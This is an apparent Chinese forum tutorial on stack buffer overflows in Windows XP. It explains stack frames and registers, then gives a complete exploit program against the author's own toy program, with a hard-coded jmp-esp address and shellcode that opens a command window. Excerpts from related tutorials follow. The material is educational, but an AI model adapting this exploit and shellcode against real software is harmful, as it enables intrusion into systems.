在下面的叙述中,所有的缓冲区实验均在Microsoft Visual C++ 6.0 ,Microsoft Windows XP( 版本:5.1 Build 2600 Service Pack 3 )环境下调试、测试的。
论坛的大多数朋友可能没有利用缓冲区溢出漏洞的经历,今天我给大家简单示范一下缓冲区溢出。
为了尽量简化问题,我自己准备了几个有溢出漏洞的程序。你可以在附件中找到它们。
一个程序(jc.exe)是这样的:
它的缓冲区长度是 10,你可以从 10 开始逐渐增加输入数据的长度,看一看会发生什么情况。
不过为了简化问题,我们今天溢出的目标不是它,而是下面这段程序(jc2.exe):
#include <string.h>
void MyCopy( char* str )
{
char buff[4];
strcpy( buff, str );
}
int main()
{
char input[] = "aaaaaaaaaaaa";
MyCopy ( input );
return 0;
}
这里我用 input 模拟用户输入。
大家看到,这个程序缓冲区的长度是 4,却允许用户输入任意长的数据,这是一个很白痴的错误。在实际的程序中,程序员可能会指定一个比较长的缓冲区,比如 512 字节,并想当然地认为这已经足够了。事实上,对于恶意攻击者来说,你指定多长的缓冲区都是没用的,必须对用户输入进行检查。
错提示:"0x61616161" 指令引用的 "0x61616161" 内存。该内存不能为 "read"。
那个 61 是什么?不就是 "a" 的 ASCII 码吗?!这说明我们的输入确实覆盖了缓冲区后面的程序。
这里,你也许会问:仅仅让程序出错退出那有什么用啊?
呵呵,是没用。但你在仔细想一想出错提示……你想到了什么?
我们的输入改变了程序执行的顺序,使它尝试去读 0x61616161 的内存,结果出错了。
对!只要我们精心构造我们的数据,就能使它执行我们的代码!
为了实现这一目的,我们需要了解一些预备的知识。
首先我们需要了解一下堆栈:
堆栈一般是用来传递参数和保存子程序的局部变量,也称为后进先出(LIFO)的数据结构。堆栈的生长顺序与内存的生长顺序相反,即内存的高端是堆栈的低端,内存的低端是堆栈的高端。压栈(PUSH)指往堆栈保存数据,一般保存的是数据或数据的指针。如参数是短整型时,其数值被压入栈;参数是字符串时,指向该字符串的指针被压栈。每一个函数调用都有其栈帧,包括数据、返回地址、EBP和先前的ESP等等。
我们还需要了解一下三个重要的寄存器:
EBP:基址寄存器,其作用是保存当前线程的栈底指针。
ESP:堆栈指针寄存器,指向栈顶(即最近一次入栈数据单元的首地址)。
EIP:指令指针,存放下一个CPU指令存放的内存地址(一般代码是不能直接访问EIP的值)。
最后一点了,大家耐心一点看完啊:
当 Windows 程序发生调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存存器(EIP)中的内容作为返回地址(RET);再把基址寄存器(EBP)压入堆栈;随后将当前的栈指针(ESP)拷贝到EBP做为新的基地址;最后为本地变量留出一定空间,同时将ESP减去适当的数值。
啰里八嗦的东西我就不讲了,比如 Windows 下进程的内存分配和内存结构啊,哪些情况会导致非法访问啊……统统扔一边,现在我们已经可以解释出错的原因了。
由于输入的字符串太长, 数组 buff 容纳不下,只好向堆栈的底部方向继续写 "a"。这些 "a" 覆盖了堆栈的老的元素,导致保存的 EIP 的值被覆盖成 "a"。函数调用返回时,就必然会把 "aaaa" 的 ASCII 码视作返回地址,会试图执行 0x61616161 处的指令,结果出现难以预料的后果,这样就产生了一次缓冲区溢出。
好了,我们知道了缓冲区溢出的细节,现在可以尝试让计算机执行我们的代码了。
刚才使用字符 "a"(0x61) 作为文本文件的填充内容,以确定存在缓冲区溢出。由于 EIP = 0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。
但如果所指向的地址存在可执行代码呢?程序将转移到该处执行,而这些代码是我们安排好的……
呵呵,现在我们需要确定 EIP 的值究竟存在什么地方,方法很简单,改变 Input 的长度,看看出错提示有什么不同就行了。
经测试,发现是 Input 的 9 至 12 位覆盖了原 EIP 的值。
然后就要为我们的代码找个位置了,我们最好能够把它直接放在 EIP 的后面,这样多方便。但如何才能让它被执行呢?程序读了 EIP 的之后就会转到相应的地方执行,但我们并不知道我们的代码在内存中的位置!
幸运的是,我们可以解决这一问题。别忘了这是一个堆栈啊!EIP 被读取后,ESP 就会加 4,指向下一个数据。那里不就是我们的 shellcode 吗?
这意味着,如果从第13个字符开始填上攻击代码,且使 EIP 指向一个储存着 jmp/call ESP 指令的内存地址,那么,程序就能转移到攻击代码上,从使实现攻击!
但那里才存储着 jmp/call ESP 指令呢?
中文 win200, 2003, xp 的jmp ESP 通用跳转地址为 0x7ffa4512。
好了,我再给出一段 shellcode 代码:
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D"
作用是打开一个 DOS 窗口。你可以用自己的 shellcode 替换,但要注意 shellcode 的通用性。
所以,最终完整的程序(jc3.exe)应该是:
#include "string.h"
void MyCopy( char* str )
{
char buff[4];
strcpy( buff, str );
}
int main()
{
char buffer[] =
"aaaaaaaa\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D";
MyCopy ( buffer );
return 0;
}
经试验,shellcode 执行成功!
相关推荐
### 缓冲区溢出实验知识点详解 #### 实验背景与目标 - **实验来源**:本实验来源于锐捷网络大学的ISec综合实验项目,旨在深入理解和掌握缓冲区溢出的相关理论和技术。 - **实验目的**: - **了解程序调入内存中...
下面通过一个简单的示例来说明缓冲区溢出的基本原理: ```c /* buffer overflow example by watercloud@xfocus.org */ #include void why_here(void) { printf("why u here?!\n"); _exit(0); } int main(int ...
缓冲区溢出,简单来说,是程序在写入数据到缓冲区时,超过了缓冲区的边界,导致相邻内存区域的数据被覆盖或破坏。这种现象可能导致程序崩溃,更严重的是,攻击者可以利用它来执行恶意代码,控制目标系统。在Q版缓冲...
### 缓冲区溢出基础知识 #### 一、缓冲区溢出概述 缓冲区溢出是一种常见的安全漏洞,它发生在程序向内存中的缓冲区写入数据时超过了该缓冲区的实际大小,导致溢出的数据覆盖了相邻的内存空间。这种攻击方式可以被...
随后,教程详细阐述了在Windows平台下,如何利用堆栈溢出来进行攻击,包括本地缓冲区溢出的简单利用和通过特定漏洞编写代码进行溢出攻击,如FoxMail和Printer漏洞利用等。 在堆栈溢出的利用编程方面,教材具体解释...
### 缓冲区溢出的深入解析 #### 引言 缓冲区溢出,作为计算机安全领域中的一个经典问题,自计算机科学诞生以来就一直存在。它是指在程序执行过程中,由于错误的数据处理或不当的边界检查,导致数据写入超出预分配...
本课件主要围绕“缓冲区溢出”这一重要的计算机安全问题展开,通过详细的PPT演示和示例代码,旨在帮助学习者理解和掌握缓冲区溢出的基本原理及其防范措施。缓冲区溢出是软件开发中常见的安全漏洞,可能导致系统崩溃...
除了理论知识,这本教程可能还包含了一些实践性的练习,比如编写简单的溢出示例,使用调试工具(如GDB)来观察溢出过程,甚至可能涉及到逆向工程的基本概念,以帮助读者从实践角度理解缓冲区溢出。 总的来说,《Q版...
缓冲区溢出是计算机安全领域中的一个重要概念,它涉及到程序设计和系统安全。本教程将通过生动的故事形式,深入浅出地解释缓冲区溢出的原理、如何利用它以及如何进行有效的防御。 缓冲区,简单来说,就是程序中用于...
【缓冲区溢出攻击】是网络安全领域中一种常见的攻击手段,其原理主要涉及程序内存管理的漏洞。当程序在向固定长度的内存缓冲区写入数据时,如果超过了预定的边界,就会发生溢出,这可能导致内存中其他数据的破坏,...
在这个阶段,可能需要编写或运行包含缓冲区溢出漏洞的简单程序。 3. **关闭sh的保护措施**:在真实环境中,操作系统和程序通常有防护机制防止缓冲区溢出攻击,如地址空间布局随机化(ASLR)。关闭这些保护措施是...
### 缓冲区溢出基础及实践教程 #### 核心知识点概览 1. **缓冲区溢出概念** - 定义:缓冲区溢出是指计算机程序将数据写入到缓冲区之外的内存区域的现象,这可能导致覆盖相邻的内存空间,进而引发程序崩溃或者被...
接着,教程介绍了缓冲区溢出的简单利用方法,包括ShellCode的定位与构造利用等实战技巧。作者以FoxMail和Printer等软件溢出漏洞的编写为例,展示了从漏洞分析到实际利用的全过程。其中,作者提到了使用通用的JMP ESP...
在提供的"BufferOverflow"文件中,可能包含了一个简单的缓冲区溢出示例。通常,这种例子会创建一个有固定长度的缓冲区,然后使用`strcpy()`等不安全函数尝试复制超过缓冲区大小的字符串,从而触发溢出。 例如,下面...
【缓冲区溢出基础】 缓冲区溢出是计算机安全领域中的一个重要概念,它涉及到程序内存管理的漏洞。当一个程序尝试向固定大小的缓冲区写入超过其容量的数据时,就会发生溢出。这种情况下,超出缓冲区边界的数据会覆盖...